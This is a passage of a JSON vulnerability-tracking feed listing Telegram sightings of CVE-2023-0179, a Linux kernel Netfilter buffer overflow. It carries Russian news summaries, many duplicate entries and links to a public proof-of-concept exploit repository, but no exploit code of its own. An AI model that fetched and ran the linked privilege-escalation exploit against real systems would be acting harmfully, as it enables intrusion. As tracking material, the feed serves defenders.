\u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u044f\u0434\u0440\u0430 Linux, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 f6ae9f1 \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044f \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u043c 696e1a48b1a1.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0434\u043e \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0430: \u043f\u0440\u0438 \u043f\u043e\u0434\u0441\u0447\u0451\u0442\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c\u044b\u0445 \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 VLAN, \u0432 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0435 \u043a\u043e\u0434\u0430 \u043f\u0435\u0440\u0435\u043f\u0443\u0442\u0430\u043d \u0437\u043d\u0430\u043a \u043f\u043b\u044e\u0441\u0430 \u0441 \u043c\u0438\u043d\u0443\u0441\u043e\u043c, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u043b\u043e\u0441\u044c \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u043d\u0435 \u0431\u0443\u0444\u0435\u0440\u0430. \n\n\u041f\u043e\u043a\u0430 \u043d\u0435 \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u0440 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438 \u043f\u0430\u0442\u0447, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0448\u0438\u0431\u043a\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: \nhttps://security-tracker.debian.org/tracker/CVE-2023-0179 \n\nhttps://www.openwall.com/lists/oss-security/2023/01/13/2 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #Linux", "creation_timestamp": "2026-07-27T00:01:09.200540Z"}, {"uuid": "bf428943-07a7-44ce-ae42-4bddb9e35a3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/EchelonEyes/1088", "content": "\u041f\u043b\u044e\u0441 \u043f\u043e\u043f\u0443\u0442\u0430\u043b\u0438 \u0441 \u043c\u0438\u043d\u0443\u0441\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Netfilter\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Linux. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-0179, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Netfilter. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u044f\u0434\u0440\u0430 Linux, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 f6ae9f1 \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044f \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u043c 696e1a48b1a1.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0434\u043e \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0430: \u043f\u0440\u0438 \u043f\u043e\u0434\u0441\u0447\u0451\u0442\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c\u044b\u0445 \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 VLAN, \u0432 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0435 \u043a\u043e\u0434\u0430 \u043f\u0435\u0440\u0435\u043f\u0443\u0442\u0430\u043d \u0437\u043d\u0430\u043a \u043f\u043b\u044e\u0441\u0430 \u0441 \u043c\u0438\u043d\u0443\u0441\u043e\u043c, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u043b\u043e\u0441\u044c \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u043d\u0435 \u0431\u0443\u0444\u0435\u0440\u0430. \n\n\u041f\u043e\u043a\u0430 \u043d\u0435 \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u0440 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438 \u043f\u0430\u0442\u0447, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0448\u0438\u0431\u043a\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: \nhttps://security-tracker.debian.org/tracker/CVE-2023-0179 \n\nhttps://www.openwall.com/lists/oss-security/2023/01/13/2 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #Linux", "creation_timestamp": "2026-07-28T03:00:04.012484Z"}, {"uuid": "54fe1a49-dc0e-4742-aab0-1a08033f0485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/EchelonEyes/1088", "content": "\u041f\u043b\u044e\u0441 \u043f\u043e\u043f\u0443\u0442\u0430\u043b\u0438 \u0441 \u043c\u0438\u043d\u0443\u0441\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Netfilter\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Linux. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-0179, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Netfilter. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u044f\u0434\u0440\u0430 Linux, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 f6ae9f1 \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044f \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u043c 696e1a48b1a1.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0434\u043e \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0430: \u043f\u0440\u0438 \u043f\u043e\u0434\u0441\u0447\u0451\u0442\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c\u044b\u0445 \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 VLAN, \u0432 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0435 \u043a\u043e\u0434\u0430 \u043f\u0435\u0440\u0435\u043f\u0443\u0442\u0430\u043d \u0437\u043d\u0430\u043a \u043f\u043b\u044e\u0441\u0430 \u0441 \u043c\u0438\u043d\u0443\u0441\u043e\u043c, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u043b\u043e\u0441\u044c \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u043d\u0435 \u0431\u0443\u0444\u0435\u0440\u0430. \n\n\u041f\u043e\u043a\u0430 \u043d\u0435 \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u0440 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438 \u043f\u0430\u0442\u0447, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0448\u0438\u0431\u043a\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: \nhttps://security-tracker.debian.org/tracker/CVE-2023-0179 \n\nhttps://www.openwall.com/lists/oss-security/2023/01/13/2 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #Linux", "creation_timestamp": "2026-07-29T00:00:50.379280Z"}, {"uuid": "540a5891-a33c-4d08-82bc-998a8b62b123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/CVEhub/8270", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#\u6f0f\u6d1e\u5229\u7528\nName: *CVE-2023-0179-PoC*\nGithub: https://github.com/H4K6/CVE-2023-0179-PoC", "creation_timestamp": "2026-07-29T12:00:49.294070Z"}, {"uuid": "06155b3f-4a34-495b-9686-aeebcc03ea19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/reverseame/3044", "content": "CVE-2023-0179: Linux kernel stack buffer overflow in nftables: PoC and writeup https://seclists.org/oss-sec/2023/q1/20", "creation_timestamp": "2026-07-29T12:02:34.473309Z"}, {"uuid": "3eee0b9b-cc80-48e8-ab5a-656d11d7419f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/sysadm_in_up/1590", "content": "Needle (CVE-2023-0179) exploit\n\nhttps://github.com/H4K6/CVE-2023-0179-PoC", "creation_timestamp": "2026-07-29T12:03:19.580927Z"}, {"uuid": "0cae7649-f4b8-45bf-8dc9-cac2611b9211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/CVEhub/8270", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#\u6f0f\u6d1e\u5229\u7528\nName: *CVE-2023-0179-PoC*\nGithub: https://github.com/H4K6/CVE-2023-0179-PoC", "creation_timestamp": "2026-07-30T00:01:20.656005Z"}, {"uuid": "bf825f6e-4406-4573-9246-c00ad217d89e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/hacking_Attack/86602", "content": "Hacking on Medium\nCVE-2023-0179: New linux kernel exploit\n\nHave you heard about CVE-2023-0179, the Linux kernel exploit that has been assigned the tracking number CVE-2023-0179? It's a stack-based\u2026\n\nContinue reading on Medium \u00bb", "creation_timestamp": "2026-09-01T20:01:05.805459Z"}, {"uuid": "8e39c062-8371-485f-8a2b-710944f53670", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/hacking_Attack/86602", "content": "Hacking on Medium\nCVE-2023-0179: New linux kernel exploit\n\nHave you heard about CVE-2023-0179, the Linux kernel exploit that has been assigned the tracking number CVE-2023-0179? It's a stack-based\u2026\n\nContinue reading on Medium \u00bb", "creation_timestamp": "2026-09-02T01:01:26.529376Z"}, {"uuid": "35020c9a-0551-4aad-8e2a-e67e39c249be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "Telegram/geFIdEurthJC81uvedAy7Je7bmf61756WHWGo7im76vrTZM", "content": "", "creation_timestamp": "2026-09-03T00:00:43.161956Z"}, {"uuid": "9a72dedc-5068-49c7-a1a9-9d86b342bcbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/hacking_Attack/86602", "content": "Hacking on Medium\nCVE-2023-0179: New linux kernel exploit\n\nHave you heard about CVE-2023-0179, the Linux kernel exploit that has been assigned the tracking number CVE-2023-0179? It's a stack-based\u2026\n\nContinue reading on Medium \u00bb", "creation_timestamp": "2026-09-04T23:00:04.151410Z"}, {"uuid": "c25e746f-75cd-4416-bb92-be3619c14833", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/hacking_Attack/86602", "content": "Hacking on Medium\nCVE-2023-0179: New linux kernel exploit\n\nHave you heard about CVE-2023-0179, the Linux kernel exploit that has been assigned the tracking number CVE-2023-0179? It's a stack-based\u2026\n\nContinue reading on Medium \u00bb", "creation_timestamp": "2026-09-05T01:00:09.188278Z"}]}